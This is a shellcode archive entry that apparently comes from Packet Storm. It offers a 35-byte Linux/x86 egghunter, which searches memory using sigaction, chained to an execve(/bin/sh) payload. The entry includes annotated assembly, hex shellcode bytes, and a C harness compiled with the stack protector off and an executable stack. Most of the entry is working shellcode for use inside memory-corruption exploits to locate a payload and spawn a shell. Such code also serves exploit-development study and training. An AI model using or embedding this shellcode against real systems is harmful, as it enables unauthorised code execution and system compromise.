exploit the possibilities

Linux/x86 Egghunter(0x50905090) + sigaction + execve(/bin/sh) Shellcode

Linux/x86 Egghunter(0x50905090) + sigaction + execve(/bin/sh) Shellcode
Posted Jul 24, 2020
Authored by danf42

35 bytes small Linux/x86 Egghunter(0x50905090) + sigaction + execve(/bin/sh) shellcode.

tags | x86, shellcode
systems | linux
MD5 | f1b110ff59b4adb7c79737eb1fc046c4

Linux/x86 Egghunter(0x50905090) + sigaction + execve(/bin/sh) Shellcode

Change Mirror Download
# Exploit Title: Linux/x86 - Egghunter(0x50905090) + sigaction + execve(/bin/sh) Shellcode (35 bytes)
# Author: danf42
# Date: 2020-07-16
# Platform: Linux/x86

/*******************************************************************************
sigaction(2) approach to egghunting as described in the paper
"Safely Searching Process Virtual Address Space" by skape

The shellcode prepares the registers to start the hunting by clearing the
direction flag and setting eax, ecx, and edx to 0

Egg value is 0x50905090

global _start

section .text

_start:
cld ; clear the direction flag
xor ecx, ecx ; clear ecx
mul ecx ; multiply by ecx, zero out eax and edx
IncPage:
or cx, 0xfff ; Align page address
IncAddr:
inc ecx ; Go to next address
push byte 0x43 ; syscall for sigaction()
pop eax ; Put syscall value into EAX
int 0x80 ; call sigaction() to check memory location [ECX]
cmp al, 0xf2 ; Did it return EFAULT, Bad Address
jz IncPage ; Skip page if it returned EFAULT
mov eax, 0x50905090 ; Store EGG in EAX
mov edi, ecx ; Move ECX to EDI for scasd operation
scasd ; Check if [EDI] == EAX then increment EDI
jnz IncAddr ; Increment address if no match
scasd ; Check if [EDI] == EAX then increment EDI
jnz IncAddr ; Increment address if no match
jmp edi ; Jump to EDI (our shellcode) if both eggs are found

POC Shellcode to execute /bin/sh
xor ecx, ecx ; clear ecx
mul ecx ; mutliply eax by 0
push eax ; push eax onto stack
push 0x68732f2f ; push ASCII sh// onto stack
push 0x6e69622f ; push ASCII nib/ onto stack
mov ebx, esp ; push /bin/sh into ebx
mov al, 0xb ; mov 11 into lower byte of eax
int 0x80 ; execute execve syscall

mov al,0x01 ; move 1 into lower byte of each
xor ebx,ebx ; clear ebx
int 0x80 ; execute exit syscall

To Cmpile:
gcc sigaction_egghunter.c -fno-stack-protector -z execstack -o sigaction_egghunter

*******************************************************************************/

#include<stdio.h>
#include<string.h>

unsigned char egghunter[] = "\xfc\x31\xc9\xf7\xe1\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";

unsigned char shellcode[] = "\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc9\xf7\xe1\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80";

void main()
{
printf("Egghunter Length: %d\n", strlen(egghunter));
printf("Shellcode Length: %d\n", strlen(shellcode));

int (*ret)() = (int(*)())egghunter;

ret();

}
Login or Register to add favorites

File Archive:

April 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    17 Files
  • 2
    Apr 2nd
    2 Files
  • 3
    Apr 3rd
    2 Files
  • 4
    Apr 4th
    0 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    15 Files
  • 7
    Apr 7th
    20 Files
  • 8
    Apr 8th
    16 Files
  • 9
    Apr 9th
    5 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    4 Files
  • 13
    Apr 13th
    15 Files
  • 14
    Apr 14th
    27 Files
  • 15
    Apr 15th
    19 Files
  • 16
    Apr 16th
    7 Files
  • 17
    Apr 17th
    1 Files
  • 18
    Apr 18th
    1 Files
  • 19
    Apr 19th
    19 Files
  • 20
    Apr 20th
    18 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close